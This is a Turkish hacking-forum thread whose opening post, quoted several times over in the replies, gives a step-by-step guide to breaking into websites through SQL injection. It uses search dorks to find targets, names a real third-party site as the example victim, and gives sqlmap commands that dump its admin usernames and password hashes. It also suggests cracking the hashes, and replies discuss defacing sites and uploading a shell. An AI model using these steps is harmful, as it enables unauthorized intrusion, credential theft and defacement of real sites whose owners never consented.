SQL Açıklı Site Hacklemek

Öncelikle Herkese Merhabalar Direk Konuya Geçelim İsterseniz​

​

SQL AÇIĞINI BULMA :​

​

Sql Açıklı site Bulabilmek İçin Bazı Dorkları Kullanmanız Gerekmektedir Örneğin inurl:index.php?id= Gibi Burdaki index.php yerine​

staff.php,shop.php gibi şeylerde yazabilirsiniz Site Bulduk Diyelim Bu Sitede SQL Açık Olup Olmadığını Öğrenmek İçin www.website.com/index.php?id=1 url sinin sonundaki 1 in yanına ' Koyarak Öğrenebilirsiniz

​

Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan​

Deneyerek Kendinizi Geliştirebilirsiniz.​

​

SİTENİN DATABASE SİNİ ÇEKME : ​

​

Evet Sitemizin Açığını Bulduğumuza Göre Artık Database sini Çekmeye Geldi Sıra Bunun İçin SQLMAP Aracını Kullanıcaz ​

Databasemizi Çekmek İçin Konsolumuza sqlmap -u https://web.site.com/index.php?id=1 --dbs Yazarak Taramayı Başlatıyoruz​

Karışınıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz.​

​

​

DATABASE İÇİNE GİRME : ​

​

Taramamız Bittikten Sonra Karşımıza Database ler Gelecektir Bunların İçine Girmek İçin İse sqlmap -u https://web.site.com/index.php?id=1 -D database_adı --tables Komutunu Kullanıcaz​

​

​

​

Yine Aynı Şekilde Karşımıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz​

İşlem Bittikten Sonra Bu Şekilde Gözükecektir ; ​

​

​

TABLOLARIN İÇİNE GİRME : ​

​

Burdan Sitenin Admin Username Ve Password unu Bulmak İçin login,admin,user Gibi Tablolara Giricez Burdan samu_login Olduğu İçin ​

Ben Bu Tablonun içine Giricem Bunu Yapmak İçin İse ;​

sqlmap -u https://web.site.com/index.php?id=1 -D samariter_1 -T samu_login --columns Yazarak Tablomuzun İçine Giriyoruz​

​

Yine Sorulara Y Diyoruz​

Son Hali Bu Şekilde Gözükecektir ;​

​

COLUMNS LARIN İÇİNE GİRME :​

​

Evet Columns Larıda Çektiğimize Göre Sıra Kullanıcı Adını Ve Şifreyi Öğrenmeye Geldi Bazi Yerlerde Kullanıcı Adı Yerine ID ile Giriş Olabilir.​

​

Birden Fazla Columns Açmak İçin İse login_id Yazdıktan Sonra , Koyup Passwort Yazmanız Yeterli Olacaktır Örnek Olarak Bu Şekilde ;​

login_id,passwort​

​

Bunların İçine Girmek İçin İse Şu Komutu Yazıyoruz ;​

sqlmap -u Samariter Münsingen - index.php?id=2 -D samariter_1 -T samu_login -C login_id,passwort --dump ​

​

Çıkan Sorulara Y Diyip Enter lıyoruz​

​

Son Hali Bu Şekilde Olacaktır ; ​

​

​

MUTLU SON ​

​

Evet Bu Şekilde Admin Kullanıcı Adımızı Ve Şifresini Bulmuş Olduk ​

​

​

Devamında Admin Panelini Bulup Giriş Yapmakta Admin Panel Bulmak İçin İse Bu Konuya Bakınız !​

Ve Ayrıca Havij Kullanarakta Bu İşlemleri Gerçekleştirebilirsiniz​

​

Konumuz Bu Kadardı Beni Dinlediğiniz İçin Şimdiden Teşekkürler ​

​

​

NOT : ŞİFRELER GENELDE MD5 ŞİFRELEME TÜRÜYLE ŞİFRELENMİŞ OLUYOR BUNU KIRMAK İÇİN İSE MD5 CRACHER SİTELERİNİ KULLANABİLİRSİNİZ​

Carlonhack' Alıntı:

Reis index basilirmi

Genişletmek için tıkla ...

Carlonhack' Alıntı:

Tahtamiz ne demek

Genişletmek için tıkla ...

Rip_Real_World' Alıntı:

Hahaha hocam deneme tahtasına bikaç ekleme yapalım böyle fazla sade olmş :|

Genişletmek için tıkla ...

takeacareofpizza' Alıntı:

ah bu site hiç şaşmaz

Genişletmek için tıkla ...

Carlonhack' Alıntı:

Reis index basilirmi

Genişletmek için tıkla ...

Yagami Light0' Alıntı:

o sifre diye gorunun aslinda tam sifre degildir . databaselerde sifreler genellikle hashli olur . yani admin panele o sifreyi girersen 97% hata alirsin .yani o sifre gercek sifrenin hashli versiyonudur .

Genişletmek için tıkla ...

Carlonhack' Alıntı:

Gerçek şifreyi nasıl alırız

Genişletmek için tıkla ...

Carlonhack' Alıntı:

Nedenki atarsak ne olur

Genişletmek için tıkla ...

Carlonhack' Alıntı:

Gerçek şifreyi nasıl alırız

Genişletmek için tıkla ...

CH' Alıntı:

Eline sağlık, yeni başlayanlar için faydalı bir içerik.

Genişletmek için tıkla ...

Carlonhack' Alıntı:

Index basiliyormu

Genişletmek için tıkla ...

L3N1X' Alıntı:

Admin Panelini Bulup Giriş Yaparsan Basabilirsin ama Bu Siteye Atmanı Tavsiye Etmem Deneme Tahtamız Bu site Bizim

Genişletmek için tıkla ...

L3N1X' Alıntı:

Öncelikle Herkese Merhabalar Direk Konuya Geçelim İsterseniz​

​

SQL AÇIĞINI BULMA :​

​

Sql Açıklı site Bulabilmek İçin Bazı Dorkları Kullanmanız Gerekmektedir Örneğin inurl:index.php?id= Gibi Burdaki index.php yerine​

staff.php,shop.php gibi şeylerde yazabilirsiniz Site Bulduk Diyelim Bu Sitede SQL Açık Olup Olmadığını Öğrenmek İçin www.website.com/index.php?id=1 url sinin sonundaki 1 in yanına ' Koyarak Öğrenebilirsiniz

​

Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan​

Deneyerek Kendinizi Geliştirebilirsiniz.​

​

SİTENİN DATABASE SİNİ ÇEKME : ​

​

Evet Sitemizin Açığını Bulduğumuza Göre Artık Database sini Çekmeye Geldi Sıra Bunun İçin SQLMAP Aracını Kullanıcaz ​

Databasemizi Çekmek İçin Konsolumuza sqlmap -u https://web.site.com/index.php?id=1 --dbs Yazarak Taramayı Başlatıyoruz​

Karışınıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz.​

​

​

DATABASE İÇİNE GİRME : ​

​

Taramamız Bittikten Sonra Karşımıza Database ler Gelecektir Bunların İçine Girmek İçin İse sqlmap -u https://web.site.com/index.php?id=1 -D database_adı --tables Komutunu Kullanıcaz​

​

​

​

Yine Aynı Şekilde Karşımıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz​

İşlem Bittikten Sonra Bu Şekilde Gözükecektir ; ​

​

​

TABLOLARIN İÇİNE GİRME : ​

​

Burdan Sitenin Admin Username Ve Password unu Bulmak İçin login,admin,user Gibi Tablolara Giricez Burdan samu_login Olduğu İçin ​

Ben Bu Tablonun içine Giricem Bunu Yapmak İçin İse ;​

sqlmap -u https://web.site.com/index.php?id=1 -D samariter_1 -T samu_login --columns Yazarak Tablomuzun İçine Giriyoruz​

​

Yine Sorulara Y Diyoruz​

Son Hali Bu Şekilde Gözükecektir ;​

​

COLUMNS LARIN İÇİNE GİRME :​

​

Evet Columns Larıda Çektiğimize Göre Sıra Kullanıcı Adını Ve Şifreyi Öğrenmeye Geldi Bazi Yerlerde Kullanıcı Adı Yerine ID ile Giriş Olabilir.​

​

Birden Fazla Columns Açmak İçin İse login_id Yazdıktan Sonra , Koyup Passwort Yazmanız Yeterli Olacaktır Örnek Olarak Bu Şekilde ;​

login_id,passwort​

​

Bunların İçine Girmek İçin İse Şu Komutu Yazıyoruz ;​

sqlmap -u Samariter Münsingen - index.php?id=2 -D samariter_1 -T samu_login -C login_id,passwort --dump ​

​

Çıkan Sorulara Y Diyip Enter lıyoruz​

​

Son Hali Bu Şekilde Olacaktır ; ​

​

​

MUTLU SON ​

​

Evet Bu Şekilde Admin Kullanıcı Adımızı Ve Şifresini Bulmuş Olduk ​

​

​

Devamında Admin Panelini Bulup Giriş Yapmakta Admin Panel Bulmak İçin İse Bu Konuya Bakınız !​

Ve Ayrıca Havij Kullanarakta Bu İşlemleri Gerçekleştirebilirsiniz​

​

Konumuz Bu Kadardı Beni Dinlediğiniz İçin Şimdiden Teşekkürler ​

​

​

NOT : ŞİFRELER GENELDE MD5 ŞİFRELEME TÜRÜYLE ŞİFRELENMİŞ OLUYOR BUNU KIRMAK İÇİN İSE MD5 CRACHER SİTELERİNİ KULLANABİLİRSİNİZ​

Genişletmek için tıkla ...

{ Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan }​

L3N1X' Alıntı:

Öncelikle Herkese Merhabalar Direk Konuya Geçelim İsterseniz​

​

SQL AÇIĞINI BULMA :​

​

Sql Açıklı site Bulabilmek İçin Bazı Dorkları Kullanmanız Gerekmektedir Örneğin inurl:index.php?id= Gibi Burdaki index.php yerine​

staff.php,shop.php gibi şeylerde yazabilirsiniz Site Bulduk Diyelim Bu Sitede SQL Açık Olup Olmadığını Öğrenmek İçin www.website.com/index.php?id=1 url sinin sonundaki 1 in yanına ' Koyarak Öğrenebilirsiniz

​

Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan​

Deneyerek Kendinizi Geliştirebilirsiniz.​

​

SİTENİN DATABASE SİNİ ÇEKME : ​

​

Evet Sitemizin Açığını Bulduğumuza Göre Artık Database sini Çekmeye Geldi Sıra Bunun İçin SQLMAP Aracını Kullanıcaz ​

Databasemizi Çekmek İçin Konsolumuza sqlmap -u https://web.site.com/index.php?id=1 --dbs Yazarak Taramayı Başlatıyoruz​

Karışınıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz.​

​

​

DATABASE İÇİNE GİRME : ​

​

Taramamız Bittikten Sonra Karşımıza Database ler Gelecektir Bunların İçine Girmek İçin İse sqlmap -u https://web.site.com/index.php?id=1 -D database_adı --tables Komutunu Kullanıcaz​

​

​

​

Yine Aynı Şekilde Karşımıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz​

İşlem Bittikten Sonra Bu Şekilde Gözükecektir ; ​

​

​

TABLOLARIN İÇİNE GİRME : ​

​

Burdan Sitenin Admin Username Ve Password unu Bulmak İçin login,admin,user Gibi Tablolara Giricez Burdan samu_login Olduğu İçin ​

Ben Bu Tablonun içine Giricem Bunu Yapmak İçin İse ;​

sqlmap -u https://web.site.com/index.php?id=1 -D samariter_1 -T samu_login --columns Yazarak Tablomuzun İçine Giriyoruz​

​

Yine Sorulara Y Diyoruz​

Son Hali Bu Şekilde Gözükecektir ;​

​

COLUMNS LARIN İÇİNE GİRME :​

​

Evet Columns Larıda Çektiğimize Göre Sıra Kullanıcı Adını Ve Şifreyi Öğrenmeye Geldi Bazi Yerlerde Kullanıcı Adı Yerine ID ile Giriş Olabilir.​

​

Birden Fazla Columns Açmak İçin İse login_id Yazdıktan Sonra , Koyup Passwort Yazmanız Yeterli Olacaktır Örnek Olarak Bu Şekilde ;​

login_id,passwort​

​

Bunların İçine Girmek İçin İse Şu Komutu Yazıyoruz ;​

sqlmap -u Samariter Münsingen - index.php?id=2 -D samariter_1 -T samu_login -C login_id,passwort --dump ​

​

Çıkan Sorulara Y Diyip Enter lıyoruz​

​

Son Hali Bu Şekilde Olacaktır ; ​

​

​

MUTLU SON ​

​

Evet Bu Şekilde Admin Kullanıcı Adımızı Ve Şifresini Bulmuş Olduk ​

​

​

Devamında Admin Panelini Bulup Giriş Yapmakta Admin Panel Bulmak İçin İse Bu Konuya Bakınız !​

Ve Ayrıca Havij Kullanarakta Bu İşlemleri Gerçekleştirebilirsiniz​

​

Konumuz Bu Kadardı Beni Dinlediğiniz İçin Şimdiden Teşekkürler ​

​

​

NOT : ŞİFRELER GENELDE MD5 ŞİFRELEME TÜRÜYLE ŞİFRELENMİŞ OLUYOR BUNU KIRMAK İÇİN İSE MD5 CRACHER SİTELERİNİ KULLANABİLİRSİNİZ​

Genişletmek için tıkla ...

L3N1X' Alıntı:

Öncelikle Herkese Merhabalar Direk Konuya Geçelim İsterseniz​

​

SQL AÇIĞINI BULMA :​

​

Sql Açıklı site Bulabilmek İçin Bazı Dorkları Kullanmanız Gerekmektedir Örneğin inurl:index.php?id= Gibi Burdaki index.php yerine​

staff.php,shop.php gibi şeylerde yazabilirsiniz Site Bulduk Diyelim Bu Sitede SQL Açık Olup Olmadığını Öğrenmek İçin www.website.com/index.php?id=1 url sinin sonundaki 1 in yanına ' Koyarak Öğrenebilirsiniz

​

Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan​

Deneyerek Kendinizi Geliştirebilirsiniz.​

​

SİTENİN DATABASE SİNİ ÇEKME : ​

​

Evet Sitemizin Açığını Bulduğumuza Göre Artık Database sini Çekmeye Geldi Sıra Bunun İçin SQLMAP Aracını Kullanıcaz ​

Databasemizi Çekmek İçin Konsolumuza sqlmap -u https://web.site.com/index.php?id=1 --dbs Yazarak Taramayı Başlatıyoruz​

Karışınıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz.​

​

​

DATABASE İÇİNE GİRME : ​

​

Taramamız Bittikten Sonra Karşımıza Database ler Gelecektir Bunların İçine Girmek İçin İse sqlmap -u https://web.site.com/index.php?id=1 -D database_adı --tables Komutunu Kullanıcaz​

​

​

​

Yine Aynı Şekilde Karşımıza Çıkan Y/N Sorularına Y Diyip Enter lıyoruz​

İşlem Bittikten Sonra Bu Şekilde Gözükecektir ; ​

​

​

TABLOLARIN İÇİNE GİRME : ​

​

Burdan Sitenin Admin Username Ve Password unu Bulmak İçin login,admin,user Gibi Tablolara Giricez Burdan samu_login Olduğu İçin ​

Ben Bu Tablonun içine Giricem Bunu Yapmak İçin İse ;​

sqlmap -u https://web.site.com/index.php?id=1 -D samariter_1 -T samu_login --columns Yazarak Tablomuzun İçine Giriyoruz​

​

Yine Sorulara Y Diyoruz​

Son Hali Bu Şekilde Gözükecektir ;​

​

COLUMNS LARIN İÇİNE GİRME :​

​

Evet Columns Larıda Çektiğimize Göre Sıra Kullanıcı Adını Ve Şifreyi Öğrenmeye Geldi Bazi Yerlerde Kullanıcı Adı Yerine ID ile Giriş Olabilir.​

​

Birden Fazla Columns Açmak İçin İse login_id Yazdıktan Sonra , Koyup Passwort Yazmanız Yeterli Olacaktır Örnek Olarak Bu Şekilde ;​

login_id,passwort​

​

Bunların İçine Girmek İçin İse Şu Komutu Yazıyoruz ;​

sqlmap -u Samariter Münsingen - index.php?id=2 -D samariter_1 -T samu_login -C login_id,passwort --dump ​

​

Çıkan Sorulara Y Diyip Enter lıyoruz​

​

Son Hali Bu Şekilde Olacaktır ; ​

​

​

MUTLU SON ​

​

Evet Bu Şekilde Admin Kullanıcı Adımızı Ve Şifresini Bulmuş Olduk ​

​

​

Devamında Admin Panelini Bulup Giriş Yapmakta Admin Panel Bulmak İçin İse Bu Konuya Bakınız !​

Ve Ayrıca Havij Kullanarakta Bu İşlemleri Gerçekleştirebilirsiniz​

​

Konumuz Bu Kadardı Beni Dinlediğiniz İçin Şimdiden Teşekkürler ​

​

​

NOT : ŞİFRELER GENELDE MD5 ŞİFRELEME TÜRÜYLE ŞİFRELENMİŞ OLUYOR BUNU KIRMAK İÇİN İSE MD5 CRACHER SİTELERİNİ KULLANABİLİRSİNİZ​

Genişletmek için tıkla ...

Tdark' Alıntı:

Anlatım için eline sağlık mesela örneksite.com sitesinde sql açığı bulmak istiyorum bunun için bir tool var mı

Genişletmek için tıkla ...

HaCkEr_33' Alıntı:

NOT: Unutmayinki herzaman sql hatasi olan her websitesinde sql acigi olmayabilir.

{ Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan }​

Genişletmek için tıkla ...

rootibo' Alıntı:

Eline Saglik Guzel Konu

Genişletmek için tıkla ...

Tdark' Alıntı:

Anlatım için eline sağlık mesela örneksite.com sitesinde sql açığı bulmak istiyorum bunun için bir tool var mı

Genişletmek için tıkla ...

Butcherb3y' Alıntı:

Konu güzel olmuş elinize sağlık

Genişletmek için tıkla ...

Toryy' Alıntı:

Sqli "tek tırnak" değildir, sqli bundan varolmaz. Anlatım eksik.

Genişletmek için tıkla ...

S3SS1Z T3AM' Alıntı:

Keşke biraz daha detaylı araştırsanız okadar eksik var ki ...
Ayrıca sqli açığı varsa shell upload edip index basabilirsin.
Eline sağlık

Genişletmek için tıkla ...

HaCkEr_33' Alıntı:

NOT: Unutmayinki herzaman sql hatasi olan her websitesinde sql acigi olmayabilir.

{ Bunun Gibi Bir Hata Alırsanız Bilinki Sitemizde SQL Açığı Vardır Ben Örnek Olarak samaritermuensingen.ch Sitesini Kullandım Sizlerde Burdan }​

Genişletmek için tıkla ...